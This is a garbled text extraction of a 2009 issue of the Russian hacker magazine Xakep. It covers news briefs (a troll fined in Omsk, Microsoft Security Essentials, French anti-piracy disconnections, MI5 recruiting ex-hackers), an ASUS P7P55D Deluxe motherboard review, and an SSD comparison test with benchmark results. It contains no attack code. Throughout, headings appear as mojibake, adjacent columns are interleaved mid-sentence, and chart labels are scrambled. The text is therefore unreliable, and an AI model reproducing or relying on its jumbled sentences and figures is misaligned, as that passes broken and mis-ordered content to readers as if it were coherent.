«заэкраньем», и большие перспективы в будущем, вплоть до шопинга с функци-
ей примерки на реального себя виртуальной одежды. Но такой технологии нужна
поддержка, нужны компании, которые будут выпускать продукты под нее. На этот счет
все стоически «хранили радиомолчание», и вот на прошедшей TGS’09 (Tokyo Game
Show) сразу ряд компаний «вышли из тени», объявив о работе над проектами для
Natal. Среди них оказались такие монстры как Sega, Electronic Arts, Activision Blizzard
и Capcom. Страшно подумать, что у них может получиться.

012 XÀÊÅÐ 10 /130/ 09


ØÒÐÀÔ
ÇÀ ÒÐÎËËÈÍÃ
Россия старается во всем не отставать от «прогрессивного
мира», но почему-то зачастую у нас все получается, как в
старой поговорке про дурака, которого заставили молиться
богу. Однако не отстаем мы упорно, например, в России
теперь тоже судят сетевых троллей — Центральный суд г.
Омска приговорил местного жителя к штрафу в размере
1.500 рублей за оскорбления и клевету в социальной сети
«Одноклассники». Иск подала экс-преподавательница
Омского государственного университета, заявив, что
ответчик (ее бывший коллега) написал в одной из групп
«Одноклассников» следующую фразу: «Тебя с позором
выгнали из универа, развратная идиотка с претензиями на
правдолюбство, методы твои смешны и ущербны: хамство,
шантаж, домогательство и т.д.». Также женщина утвержда-
ÏÎÐÒÀË SUPERJOB ÏÐÎÂÅË ÎÏÐÎÑ, ла, что ответчик создавал фальшивые аккаунты, где постил

ÐÅÇÓËÜÒÀÒÛ ÊÎÒÎÐÎÃÎ ÏÎÊÀÇÀËÈ — 69%


ее фото с издевательскими подписями, и хотела 20 тысяч
рублей за моральный ущерб. В суде ей удалось доказать
только то, что уволилась она по собственному желанию, и
ÏÎËÜÇÎÂÀÒÅËÅÉ ÞÇÀÞÒ ÒÎÐÐÅÍÒÛ, ÍÎ приведенная выше фраза действительно имела место, ос-

ÏÐÅÑÒÓÏËÅÍÈÅÌ ÝÒÎ Ñ×ÈÒÀÅÒ ÂÑÅÃÎ 10%


тальные претензии сочли недоказанными. Но, как видишь,
для наложения штрафа и пятна на репутации хватило и
этого.
ÎÏÐÎØÅÍÍÛÕ.

XÀÊÅÐ 0
180 /12
380/ 09 013
13
Реклама
MEGANEWS

ÑÌÅÍÀ ÀÍÒÈÂÈÐÓÑÍÎÃÎ ÊÀÐÀÓËÀ


Microsoft объявила о том, что новый
бесплатный антивирус Microsoft
Security Essentials выйдет уже в
ближайшие несколько недель. Этот
продукт призван заменить собой
встроенное (и дырявое, как решето)
решение Windows Defender в ОСях
Windows 7, Vista и XP, отключив его
при установке. Security Essentials
уже прошел бета-тест и тестирова-
ние в ряде специализирующихся
на таких вещах компаний. В
частности, в AV-Test сочли новое
решение от Microsoft «очень
хорошим», и вполне достойным по
сравнению с уровнем конкурентов
в этой области. Относительно плат-
ного антивируса от «мелкомягких»
пока ничего не слышно, разве что
идет работа над корпоративным
Forefront Protection Suite, но это уже
из «другой оперы».

ÝËÅÊÒÐÎÍÍÀß ÊÍÈÃÀ ÎÒ ASUS


Стало известно, что компания Asus ожидает прибавления в
семействе Eee, притом довольно оригинального. Так как ры-
нок устройств для чтения постепенно расширяется, да и не-
тбуки, планшетные ПК, портативные медиа-плееры и другие
интересные штуки становятся все доступнее, Asus решили
не проходить мимо интересной ниши и скоро представят
свое устройство для чтения. Нет, с технологией e-ink связы-
ваться не стали, зато гаджет по имени Asus Eee Book будет
обладать сразу двумя цветными сенсорными дисплеями,
что делает его крайне похожим на обыкновенную книжку.
Никаких подробностей относительно «начинки» устройства,
к сожалению, пока нет, но в Asus не исключают возможнос-
ти того, что в Eee Book будет поддержка 3G, веб-браузер
и расширяемое хранилище для данных. Интересно и еще
кое-что — цена «книжки», скорее всего, составит порядка
170 долларов. Это сделает ее одним из самых доступных
девайсов такого рода.

ÍÅ ÕÎÄÈÒÅ ÄÅÒÈ
ÂÎ ÔÐÀÍÖÈÞ ÃÓËßÒÜ
Очередное очко в противостоянии «копи- го пирата» штраф до 300.000 евро, при-
райтеры vs анти-копирайтеры» заработали говорить его к лишению свободы сроком
сторонники авторских прав. Отныне во до 2 лет, или же отключить от интернета.
Франции «злоупотребляющих» инетом Из всех французских карательных мер
юзеров, то есть, качающих и распростра- отключение от Сети видится самой безо-
няющих контрафакт, будут отключать от бидной. Недаром принятие антипиратских
Сети. Власти теперь будут обязаны трижды поправок пытался опротестовать Конститу-
предупредить нарушителя, и если это не ционный совет страны, и жаль, что из этого
поможет, суд может наложить на «злостно- ничего не вышло.

014 XÀÊÅÐ 10 /130/ 09


ÏÎ×ÒÈ ÊÀÊ Â ÊÈÍÎ
В британскую прессу просочилась информация о том, что в новое
подразделение MI5 (государственное ведомство британской контр-
разведки) набирают бывших хакеров. Исследовательский центр
Cyber Security Operations Centre, в котором «появились вакансии»,
был создан недавно, с целью перехвата и анализа кибер-атак, угро-
жающих национальной безопасности, а также для разработки мер
противостояния оным. Информация о наборе бывших кибер-пре-
ступников оказалась правдой. По словам Алана Веста, зам. министра
по вопросам безопасности и борьбы с терроризмом, стране нужны
молодые, талантливые специалисты, которые разбираются в кибер-
защите. Подростки с криминальным прошлым идеально подходят на
эту роль. Согласно данным некоторых британских изданий, сейчас
в CSOC уже работает порядка 50 экс-преступников, и хотя многие из
них еще даже не достигли совершеннолетия, они, так же, как и взрос-
лые, дают подписку о неразглашении (пожизненную) и проходят
прочие обязательные процедуры.

ÑÏÅÖÛ ÊÎÌÏÀÍÈÈ IDC ÓÂÅÐÅÍÛ, ×ÒÎ ÏÐÎÄÀÆÈ ÏÊ Â ÌÈÐÅ ÓÏÀËÈ ÍÀ 2.4%


ÈÇ-ÇÀ ÏÎßÂËÅÍÈß ÍÀ ÐÛÍÊÅ ÍÅÒÁÓÊÎÂ.

XÀÊÅÐ 08 /128/ 09 015


FERRUM
ЕВГЕНИЙ ПОПОВ

ÌÀÒÜ ÂÀØÀ!
ÒÅÑÒÈÐÎÂÀÍÈÅ ÑÈÑÒÅÌÍÎÉ ÏËÀÒÛ ASUS P7P55D DELUXE
ASUS P7P55D DELUXE — материнская плата, созданная на базе чипсета
Intel P55 Express и рассчитанная на установку новых процессоров Intel
Core i5. Материнская плата входит в категорию Asus Xtream Design
и позиционируется как решение с повышенной производительностью
и надежностью, что добавляет интереса сегодняшнему обзору.
форм-факторе ATX и первое, что бросается Отдельного внимания заслуживает новая
ÂÍÅØÍÈÉ ÂÈÄ в глаза при осмотре — это оригинальный конструкция блокиратора процессора.
Устройство поставляется в яркой упаковке, дизайн пассивной системы охлаждения цепи Теперь это более надежный и удобный
как это и свойственно продуктам ASUS. Внут- питания и большая прямоугольная пластина, механизм крепления с продолговатой
ри, помимо самой платы обнаружились кабе- являющаяся охладителем чипсета. лапкой. Пространства вокруг сокета
ли для подключения приводов и накопителей, К слову, в Intel P55 Express все основные достататочно для установки м а ссивного
диск с программным обеспечением, планки компоненты северного моста вынесены в кулера, но вряд ли здесь станет возмож-
с дополнительными разъемами, инструк- процессор, а сам чипсет реализует главным ным монтаж модели с низким профилем.
ция пользователя, а также проводной пульт образом функции южного моста: работу с пла- Четыре разъема DIMM, которые работают
дистанционного управления, возможности тами расширений и периферией. Что касается с памятью DDR3, обладают зажимами
которого мы рассмотрим чуть позже. подсистемы питания, то она выполнена по только с одной стороны. Ближе к слотам
Сама плата изготовлена в классическом формуле 16+3 фазы. PCI-Express находится лишь фиксиру-

016 XÀÊÅÐ 10 /130/ 09


ÒÅÑÒÎÂÛÉ ÑÒÅÍÄ ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ
ÏÐÎÖÅÑÑÎÐ: INTEL CORE I5-750, 2.66 ÃÃÖ • ÏÎÄÄÅÐÆÈÂÀÅÌÛÅ ÏÐÎÖÅÑÑÎÐÛ: INTEL CORE I5
ÊÓËÅÐ: INTEL BOX • ÐÀÇÚÅÌ: LGA 1156
ÑÈÑÒÅÌÍÀß ÏËÀÒÀ: ASUS P7P55D DELUXE • ×ÈÏÑÅÒ: INTEL P55 EXPRESS
ÎÏÅÐÀÒÈÂÍÀß ÏÀÌßÒÜ: 2X 1024 ÌÁÀÉÒ, CORSAIR • ÏÀÌßÒÜ: 4Õ DIMM, ÌÀÊÑ. 16 ÃÁÀÉÒ DDR3-
DDR3-2133 2133/1600/1333/1066
ÂÈÄÅÎÊÀÐÒÀ: NVIDIA GEFORCE GTX 285 • ÐÀÇÚÅÌÛ ÐÀÑØÈÐÅÍÈß: 3Õ PCI EXPRESS X16, 2X PCI
ÁËÎÊ ÏÈÒÀÍÈß: 650 ÂÒ, CORSAIR TX650W EXPRESS X1, 2X PCI
ÎÏÅÐÀÖÈÎÍÍÀß ÑÈÑÒÅÌÀ: MICROSOFT WINDOWS VISTA • ÍÀÊÎÏÈÒÅËÈ: 9Õ SATA, 1X UDMA
ULTIMATE SP1 X32 • ÏÎÐÒÛ USB: 14 (6 ÍÀ ÇÀÄÍÅÉ ÏÀÍÅËÈ + 8 ÄÎÏÎËÍÈ-
ÒÅËÜÍÎ)
• ÑÅÒÜ: ÄÓÀËÜÍÛÉ ÃÈÃÀÁÈÒÍÛÉ ÊÎÍÒÐÎËËÅÐ
ющий упор. Это значительно облегчает процесс извлечения REALTEK 8112L/8110SC
модулей памяти даже при полностью собранной системе. Такое • ÇÂÓÊ: 10-ÊÀÍÀËÜÍÛÉ HDA-ÊÎÄÅÊ VIA VT2020
рационализаторское предложение ASUS нарекла технологией • ÔÎÐÌ-ÔÀÊÒÎÐ, ÐÀÇÌÅÐÛ: ATX, 305X244 ÌÌ
Q-DIMM.

оснащена тремя слотами PCI-Express. Так вот пара из них может работать
ÂÎÇÌÎÆÍÎÑÒÈ в режиме «8X+8X». Мало того, системная плата может одинаково успешно
На панели вывода платы присутствует изобилие разъемов. Есть здесь работать как с видеокартами в режиме NVIDIA SLI, так и с акселераторами
и восемь (!) USB, и два RJ-45, и оптический SPDIF/Out, не говоря уже в конфигурации AMD CrossFire. Нельзя не упомянуть и о звуке. Мы сразу
о коаксиальном. Нашлось место даже для кнопки сбора CMOS. На обратили внимание, что производитель сделал ставку на 10-канальный
самой плате присутствуют также и клавиши (да, полноценные кнопки) (что уже необычно) кодек HDA-класса производства VIA. Часто вендоры
выключения и перезагрузки. Такие прелести незаменимы, если плата ограничиваются схемами от Realtek, но в случае с ASUS P7P55D Deluxe у
используется в качестве тестового стенда или платформы для хардкор- нас не было претензий. Конечно, звучание не сравнится с дискретными
ного разгона с азотом, ведь в этом случае нет необходимости постоянно моделями аудиокарт, однако для интегрированного варианта звучание
замыкать отверткой нужные контакты. В общем, фишка придется по неплохое. Наконец, нельзя не сказать о пульте дистанционного управле-
вкусу маньякам-оверклокерам. ния. С каждой топовой платой от ASUS идет какой-то приятный прибамбас,
Платформа оснащена тремя слотами PCI-Express X16. Первый работает который позволяет выделить продукт из сонма подобных. В числе таких
в режиме Х16, если в системе используется только один графический «приманок» были жидкокристаллические дисплей, системы водяного
адаптер. Третий слот работает только в режиме Х4 и пригодится, если охлаждения и даже оригинальная подсветка печатной платы. В нашем
планируется установка дополнительной видеокарты, например, для случае таким бонусом служит пульт для работы с технологией Turbo V. Нам
работы с большим количеством мониторов. Первый и второй разъем приходилось встречаться с этой функцией и раньше. Этот оверклокерский
могут работать в конфигурации «8X+8X». Следует принять во внимание движок позволял менять настройки системы на лету, не покидая опера-
и простой способ фиксации видеокарт в разъемах. Здесь всего одна ционной системы. Управлялка делает этот процесс еще более быстрым
массивная лапка, которая облегчает процесс монтажа или удаления и потешным. Например, три клавиши «A», «B» и «C» активируют один из
устройства из системы. предустановленных профилей (повышение рабочей частоты на 3%, 7%
На материнской плате присутствует большое количество портов для или на уровень, заявленный пользователем). Можно с помощью пульта
подключения SATA-накопителей. Здесь есть 6 стандартных разъемов, управлять и движком EPU, что делает еще более ценным его присутствие
которые поддерживают работу Intel Matrix Storage 9, а также RAID уров- в комплекте.
ня 0, 1, 5 и 10. Еще есть три порта SATA обеспеченных дополнительными
контроллерами. В частности синий и белый разъемы работают благода-
ря JMicron JMB322 и поддерживают технологию Drive Xpert. ÂÛÂÎÄÛ
С момента анонса Intel P55 Express большинство компаний поста-
рались сразу же представить собственные модели системных плат
ÄÎÏÎËÍÈÒÅËÜÍÛÅ ÔÓÍÊÖÈÈ на этом чипсете. Однако ASUS удалось сделать собственный продукт
Первая функция, о которой следует упомянуть — это «MemOK!». На плате оригинальным и интересным для оверклокеров и просто любителей
предусмотрена клавиша, которая позволяет активировать одним ее всего эксклюзивного в сфере настольных платформ. Максимальная
нажатием безопасные настройки памяти. К другим заметным особен- функциональность, функции автоматического разгона, мощный оверк-
ностям платформы следует отнести поддержку одновременной работы локерский движок — все это получит пользователь, пусть и не за столь
нескольких графических адаптеров. Как было сказано ранее, платформа скромную плату.z

ÐÅÇÓËÜÒÀÒÛ ÒÅÑÒÈÐÎÂÀÍÈß
Super PI, mod 1.5 XS: 13,2 сек
WinRAR 3.8: 1501 Кбайт/с
3DMark’06, Overall: 15168
ÊÎÍÊÓÐÑ ASUS
3DMark’06, CPU: 4056 Заходи на сайт www.xakep.ru и при-
PCMark’05, CPU: 7318 нимай участие в конкурсе компании
Lavalys Everest Ultimate, Memory Read: 15211 ASUS и редакции z. Все, что требуется
Мбайт/с в конкурсе — правильно ответить на
Lavalys Everest Ultimate, Memory Write: 13248 5 вопросов о материнской плате ASUS
Мбайт/c P7P55D.
Lavalys Everest Ultimate, Memory Latency: 42.4 нс Разыгрывается PDA ASUS MyPal A686
Crysis, High Detail, 1680x1050: 63,1 FPS и два сувенирных набора ASUS: BT-
Fallout 3, Medium, 1680x1050: 85,4 FPS мышь, наушники и веб-камера.
Far Cry 2, 1680x1050: 74,4 FPS

XÀÊÅÐ 10 /130/ 09 017


Kingston V
OCZ Technology
FERRUM
АВТОР: СЕРГЕЙ НИКИТИН ТЕСТЕР : АЛЕКСЕЙ ПОЛЯКОВ Samsung

A-Data
Tanscend

Kingston V
Intel

ÒÅÑÒ OCZ Technolog

SSD
ung

A-Data
Tanscend

Òåñòèðîâàíèå
OCZ Technology òâåðäîòåëüíûõ íàêîïèòåëåé

 ÍÀÑÒÎËÜÍÛÕ ÏÊ È ÍÎÓÒÁÓÊÀÕ ÎÑÒÀÅÒÑß ÂÑÅ ÌÅÍÜØÅ ÄÅÒÀËÅÉ È ÓÑÒÐÎÉÑÒÂ,


 ÊÎÒÎÐÛÕ ÅÑÒÜ ÄÂÈÆÓÙÈÅÑß ×ÀÑÒÈ. È ÃËÀÂÍÛÉ ÔÎÐÏÎÑÒ ÌÅÕÀÍÈÇÌΠ– ÝÒÎ
ÆÅÑÒÊÈÉ ÄÈÑÊ. ÅÙÅ ÍÅÄÀÂÍÎ ÊÀÇÀËÎÑÜ, ×ÒÎ ÎÍ ÍÅÏÎÁÅÄÈÌ. ÍÎ ÑÈÒÓÀÖÈß
ÈÇÌÅÍÈËÀÑÜ Ñ ÏÎßÂËÅÍÈÅÌ ÓÑÒÐÎÉÑÒ SSD, ÊÎÒÎÐÛÅ ÏÎÑÒÅÏÅÍÍÎ ÂÛÒÅÑÍßÞÒ
ÆÅÑÒÊÈÅ ÄÈÑÊÈ ÈÇ ÊÎÐÏÓÑÎÂ ÌÎÁÈËÜÍÛÕ È ÍÀÑÒÎËÜÍÛÕ ÊÎÌÏÜÞÒÅÐÎÂ.

МЕТОДИКА цифры процентов, секунд и баллов, а оце- тестов изделия SSD превосходят HDD по
ТЕСТИРОВАНИЯ нивать то, как устройство будет вести себя скорости чтения\записи (в основном, —
Проведенные нами тесты можно условно при реальной работе. ненамного), а самые яркие результаты — в
разделить на три группы: имитация работы тестах на время доступа, которых они опере-
реальных приложений, проверка времени ТЕХНОЛОГИИ жают жесткие диски в разы. Очевидно, что
доступа и испытания на скорость чтения\ Устройства SSD (расшифровывается как ноутбук с SSD-устройством вместо жест-
записи. Для проверки скорости случай- Solid State Disk, твердотельный нако- кого диска ест меньше энергии, быстрее и
ной записи и случайного и линейного питель) на данный момент являются дольше работает, меньше греется и более
чтения мы использовали тесты из состава оптимальным решением для мобильных подходит для работы в движении. Пока у
программы Everest. Утилита h2benchw компьютеров. Почему? Потому что лишены технологии SSD есть две проблемы: это
использовалась для измерения времени всех недостатков жестких дисков. В SSD- высокая стоимость устройств и их неболь-
чтения и записи. Имитацией реальных устройствах нет движущихся частей, они шой, по сравнению с жесткими дисками,
приложений нам служил тестовый пакет невосприимчивы к вибрации и менее чувс- объем. Но оба этих недостатка постепенно
PCMark’05, из которого мы запускали твительны к ударам; они потребляют очень исправляются, так что из мобильных ПК эти
имитацию загрузки Windows XP, загрузку мало электроэнергии и, соответственно, накопители скоро начнут перебираться и в
приложений, антивирусное сканирование, выделяют мало тепла; кроме того, их ско- настольные. Все участники сегодняшнего
запись файлов и «простую» работу диска. рость на сегодняшний день уже существен- теста имеют интерфейс SATA. Ты сможешь
Особенность этого теста заключается в но выше скорости HDD. Забегая немного без проблем подключить их к своему ком-
том, что он позволяет смотреть не на сухие вперед, скажу, что по результатам наших пьютеру и испробовать в деле.

018 XÀÊÅÐ 10 /130/ 09


ÑÏÈÑÎÊ ÏÐÎÒÅÑÒÈÐÎÂÀÍÍÛÕ ÓÑÒÐÎÉÑÒÂ:
A-DATA S592
INTEL SSDSA2MH080G15E
KINGSTON V SERIES
OCZ TECHNOLOGY VERTEX SERIES 16000 ðóá.
SAMSUNG MMDOE56G5MXP
TRANSCEND TS192GSSD25S-M

ology

14000 ðóá.

INTEL
A-DATA SSDSA2MH080G15E
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
S592 ЕМКОСТЬ, ГБ: 80
ФОРМ-ФАКТОР: 2,5”
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ: ИНТЕРФЕЙС: SATA-II
ЕМКОСТЬ, ГБ: 128 ЗАЯВЛЕННАЯ СКОРОСТЬ ЧТЕНИЯ, МБАЙТ/C: 250
ФОРМ-ФАКТОР: 2,5” ЗАЯВЛЕННАЯ СКОРОСТЬ ЗАПИСИ, МБАЙТ/С: 70
ИНТЕРФЕЙС: SATA-II
ЗАЯВЛЕННАЯ СКОРОСТЬ ЧТЕНИЯ, МБАЙТ/C: 230
ЗАЯВЛЕННАЯ СКОРОСТЬ ЗАПИСИ, МБАЙТ/С: 170
Не все это знают, а компания Intel производит не только процессоры,
но и массу других устройств. Сегодня к ним добавились и изделия
SSD. Проектируя диск Intel SSDSA2MH080G15E, сознательно или нет,
Обладая 64 Мб буфером, накопитель A-Data S592 во всех тестах показал инженеры-разработчики добились его оптимизации под две задачи —
весьма впечатляющие результаты. Редко опускаясь ниже второго или быстрая загрузка операционной системы Windows XP и быстрый старт
третьего места, в тесте на имитацию «обычной» работы жесткого диска приложения. Это доказывает абсолютная победа диска в тестах PCMark
(тест General Usage из комплекта PCMark’05) он опередил все остальные XP Startup и Application Loading. Мы уверены, что найдется масса людей,
устройства. Нужно отметить, что минимальная и максимальная скорость для которых эти параметры гораздо важнее, чем просто скорость чтения
работы A-Data S592 отличаются не очень сильно, то есть он работает или записи. Конечно, ведь никто не любит ждать, пока запустится игра
стабильно быстро в независимости от каких-то обстоятельств. Стоимость или загрузится ОС.
устройства относительно невелика, поэтому, учитывая его скоростные
характеристики, A-Data S592 становится обладателем титула «Лучшая
покупка». Несмотря на заявленную производителем в технических характеристи-
ках скорость записи 70 Мб\с, средняя скорость записи составила только
64 Мб\с, при разбросе от 12.5 до 76.6 Мб\с. Никто не знает, быстро ли
Возможно, именно из-за невысокой цены, комплектация устройства будет работать диск в конкретный момент. Кроме того, емкость устройс-
практически отсутствует — кроме него самого, в коробке находится толь- тва крайне невелика. Что такое сегодня 80 Гб? Тут даже высокая скорость
ко небольшая инструкция. загрузки ОС и старта ПО не кажется оправданием такой цены.

XÀÊÅÐ 10 /130/ 09 019


FERRUM

9500 ðóá.

16000 ðóá.

KINGSTON V OCZ TECHNOLOGY


Series 128 Vertex Series
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ: ЕМКОСТЬ, ГБ: 120
ЕМКОСТЬ, ГБ: 128 ФОРМ-ФАКТОР: 2,5”
ФОРМ-ФАКТОР: 2,5” ИНТЕРФЕЙС: SATA-II
ИНТЕРФЕЙС: SATA-II ЗАЯВЛЕННАЯ СКОРОСТЬ ЧТЕНИЯ, МБАЙТ/C: 250
ЗАЯВЛЕННАЯ СКОРОСТЬ ЧТЕНИЯ, МБАЙТ/C: 100 ЗАЯВЛЕННАЯ СКОРОСТЬ ЗАПИСИ, МБАЙТ/С: 180
ЗАЯВЛЕННАЯ СКОРОСТЬ ЗАПИСИ, МБАЙТ/С: 80

Сам производитель позиционирует накопители этой серии как быстрые


Из всех характеристик этого диска первым делом обращаешь внима- и доступные. Попробуем разобраться, так ли это. С первым пунктом
ние на его цену, которая в полтора-два раза меньше, чем у устройств с проблем нет, диск действительно работает быстро. Он занял первое место
аналогичным объемом. Учитывая, что это не какой-то no name, а продукт в PCMark’овских тестах Virus Scan, Linear Read и File Write. С учетом того,
именитой компании Kingston, первой реакцией будет: «быстрее домой что запись и линейное чтение — это одни из самых часто совершаемых
за деньгами и покупать». Не разочаровывает и комплект поставки, за операций, а также то, что в подавляющем большинстве других тестов OCZ
счет которого производители обычно снижают цены на свою продукцию. Technology Vertex Series 120 совсем немного уступил быстрому A-Data
В коробке с Kingston V Series 128, помимо самого диска, мы найдем диск S592, мы присудили ему титул «Выбор редакции».
с ПО, салазки для монтажа в трехдюймовый отсек, переходник для пита-
ния и провод SATA. Комплектация отнюдь не бедная.
Если со скоростью, заявленной производителем, все нормально, то с
доступностью выходит явная неувязка. Стоимость устройства высока, —
Западня кроется не в комплекте поставки и не в производителе, а в 1 гигабайт дискового пространства стоит дороже, чем у остальных учас-
скорости работы устройства. Она, мягко говоря, не самая высокая. Диск тников сегодняшнего теста. Кстати, говоря о скорости, нельзя не упомя-
Kingston V Series 128 показал довольно скромный результат в тесте на нуть, что в тесте на время записи в произвольное место OCZ Technology
случайный доступ к чтению, а также был последним в тесте на линейное Vertex Series 120 занял только четвертое место.
чтение.

020 XÀÊÅÐ 10 /130/ 09


26000 ðóá.
17000 ðóá.

SAMSUNG TRANSCEND
MMDOE56G5MXP TS192GSSD25S-M
ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ЕМКОСТЬ, ГБ: 256 ÒÅÕÍÈ×ÅÑÊÈÅ ÕÀÐÀÊÒÅÐÈÑÒÈÊÈ:
ФОРМ-ФАКТОР: 2,5” ЕМКОСТЬ, ГБ: 192
ИНТЕРФЕЙС: SATA-II ФОРМ-ФАКТОР: 2,5”
ЗАЯВЛЕННАЯ СКОРОСТЬ ЧТЕНИЯ, МБАЙТ/C: 220 ИНТЕРФЕЙС: SATA-II
ЗАЯВЛЕННАЯ СКОРОСТЬ ЗАПИСИ, МБАЙТ/С: 200 ЗАЯВЛЕННАЯ СКОРОСТЬ ЧТЕНИЯ, МБАЙТ/C: 150
ЗАЯВЛЕННАЯ СКОРОСТЬ ЗАПИСИ, МБАЙТ/С: 90

В этом накопителе устранен один из главных текущих недостатков


SSD-дисков, которые мешают им заменить собой HDD. А именно, он Очень интересное устройство. Несмотря на то, что объем меньше, чем у
имеет вполне приемлемый объем – 256 Гб. Это доказывает, что у SSD есть изделия Samsung, стоимость одного гигабайта даже меньше. А гигабайт
будущее, причем весьма светлое. Несмотря на высокую цену девайса, у него достаточно — это один из двух участников, имеющих емкость
стоимость одного гигабайта информации, по сравнению с другими учас- более 128 Гб. Кроме того, в тестах Virus Scan, XP Startup, General Usage
тниками тестирования, не очень высока (следствие большого объема). и Application Loading из комплекта PCMark’05 продемонстрированы
Скоростные характеристики неплохи, – например, в тесте на время весьма приличные результаты. Резюмируем: хороший объем, невысокая
доступа на чтение показано минимальное время. Кроме того, заявленные цена одного гигабайта и неплохая скорость.
производителем скорости чтения и записи практически не различаются,
что довольно-таки интересно. Правда, по результатам исследований мы
получили несколько больший люфт, но это уже не так страшно. Впрочем, со скоростью не все так однозначно. Результаты многих тестов
просто удручающие. К ним, например, относится PCMark 05 Write File
Transcend, где с показателем 38.3 Мб\с Transcend TS192GSSD25S-M
Несмотря на продемонстрированное минимальное время доступа на слу- занял последнее место. Тесты записи и тест из PCMark’05, имитирующей
чайное чтение, разброс между максимальным и минимальным временем обычную работу диска, устройство также провалило. Видимо, хорошие
(а не пиковое значение) был велик. Это значит, что в каких-то ситуациях показатели в других тестах из этого пакета получены благодаря правиль-
устройство будет работать очень быстро, а в других – притормаживать. ному использованию буфера.

вами SSD-накопителей. В некоторых моделях За сбалансированные характеристики «Лучшей


ÂÛÂÎÄÛ почти преодолены недостатки технологии — покупкой» становится A-Data S592, а более быст-
Тест показал, что уже сегодня многие пользова- невысокий объем и высокая цена. Надеемся, что рый и дорогой OCZ Technology Vertex Series 120
тели могут воспользоваться всеми преимущест- в скором времени от них не останется и следа. Гб получает приз «Выбор редакции».z

XÀÊÅÐ 10 /130/ 09 021


FERRUM Kingston V

Samsung
PCMARK 05 — XP STARTUP EVEREST LINEAR READ
A-Data S592 128 Gb A-Data S592 128 Gb A-Data
Intel SSDSA2MH080G15E 80 Gb Intel SSDSA2MH080G15E 80 Gb
Tanscend
Kingston V Series 128 Gb Kingston V Series 128 Gb
OCZ Technology Vertex Series 120 Gb OCZ Technology Vertex Series 120 Gb
Samsung MMDOE56G5MXP 256 Gb Samsung MMDOE56G5MXP 256 Gb
Transcend TS192GSSD25S-M 192 Gb Transcend TS192GSSD25S-M 192 Gb
Мбайт/с 0 20 40 60 80 100 среднее минимум максимум Мбайт/с 0 50 100 150 200 250 300 OCZ Technolog
Несмотря на более низкие результаты Самый недорогой диск (Kingston V Series 128 Гб) занимает самое
в остальных тестах, в этом лидирует Intel SSDSA2MH080G15E последнее место

PCMARK 05 — APPLICATION LOADING EVEREST RANDOM READ


A-Data S592 128 Gb A-Data S592 128 Gb
Intel SSDSA2MH080G15E 80 Gb Intel SSDSA2MH080G15E 80 Gb
Kingston V Series 128 Gb Kingston V Series 128 Gb
OCZ Technology Vertex Series 120 Gb OCZ Technology Vertex Series 120 Gb
Samsung MMDOE56G5MXP 256 Gb Samsung MMDOE56G5MXP 256 Gb
Transcend TS192GSSD25S-M 192 Gb Transcend TS192GSSD25S-M 192 Gb
Мбайт/с 0 20 40 60 80 100 среднее минимум максимум Мбайт/с 0 50 100 150 200 250 300

И снова изделие Intel опережает конкурентов. Возможно, дело в Хорошо видно, как максимальные и минимальные показатели могут
специальной оптимизации под быстрый старт ОС и ПО различаться

PCMARK 05 — GENERAL USAGE EVEREST LINEAR WRITE


A-Data S592 128 Gb A-Data S592 128 Gb
Intel SSDSA2MH080G15E 80 Gb Intel SSDSA2MH080G15E 80 Gb
Kingston V Series 128 Gb Kingston V Series 128 Gb
OCZ Technology Vertex Series 120 Gb OCZ Technology Vertex Series 120 Gb
Samsung MMDOE56G5MXP 256 Gb Samsung MMDOE56G5MXP 256 Gb
Transcend TS192GSSD25S-M 192 Gb Transcend TS192GSSD25S-M 192 Gb
Мбайт/с 0 10 20 30 40 50 60 среднее минимум максимум Мбайт/с 0 50 100 150 200 250 300

Этот тест, где лидируют наши победители, доказывает, что они не зря Лидеры впереди. Это единственный тест,
получили награды которое провалило изделие Intel

PCMARK 05 — VIRUS SCAN H2BENCHW RANDOM ACCESS READ


A-Data S592 128 Gb A-Data S592 128 Gb
Intel SSDSA2MH080G15E 80 Gb Intel SSDSA2MH080G15E 80 Gb
Kingston V Kingston V Series 128 Gb Kingston V Series 128 Gb
OCZ Technology Vertex Series 120 Gb OCZ Technology Vertex Series 120 Gb
Samsung MMDOE56G5MXP 256 Gb Samsung MMDOE56G5MXP 256 Gb
Transcend TS192GSSD25S-M 192 Gb Transcend TS192GSSD25S-M 192 Gb
Мбайт/с 0 50 100 150 200 250 среднее минимум максимум Мс 0 0,05 0,1 0,15 0,2 0,25 0,3

Еще одно доказательство того, что лидеры стали такими заслуженно. Лидеры теста — лидеры обзора
Диск Transcend также показал хороший результат

PCMARK 05 — FILE WRITE H2BENCHW RANDOM ACCESS WRITE


A-Data S592 128 Gb A-Data S592 128 Gb
Intel SSDSA2MH080G15E 80 Gb Intel SSDSA2MH080G15E 80 Gb
Kingston V Series 128 Gb Kingston V Series 128 Gb
A-Data
OCZ Technology Vertex Series 120 Gb OCZ Technology Vertex Series 120 Gb
Samsung MMDOE56G5MXP 256 Gb Samsung MMDOE56G5MXP 256 Gb
Transcend TS192GSSD25S-M 192 Gb Transcend TS192GSSD25S-M 192 Gb
Мбайт/с 0 50 100 150 200 250 среднее минимум максимум Мс 0 100 200 300 400 500 600

Первые места снова достаются победителям сегодняшнего теста Лидеры теста — лидеры обзора

022 XÀÊÅÐ 10 /130/ 09


Ðåêëàìà
FERRUM
ФЕДЯ ЧЕРЕНКОВ

ASUS U80V
Компактный и производительный ноутбук для работы
Как и другие ноутбуки U-серии, ASUS U80V следует концепции
Thin&Light, главная идея которой заключается в максимальном умень-
шении габаритов и веса ноутбука без ущерба для производительности,
эргономики и мобильности. С тем, насколько это удалось сделать,
мы и разберемся.

Начать надо с того, что ASUS U80V — действительно мощная ма- ФИШКА 1:
шина, построенная на базе современной процессорной техноло- ЭРГОНОМИКА
гии Intel® Centrino® 2. Суди сам: 4 Гб памяти, мощный мобиль- Если отбросить субъективные вещи вроде оценок внешнего вида,
ный процессор Intel® Core™ 2 Duo T9550 с частотой 2.66 ГГц и нельзя не отметить совершенно объективный факт, что инженеры ASUS
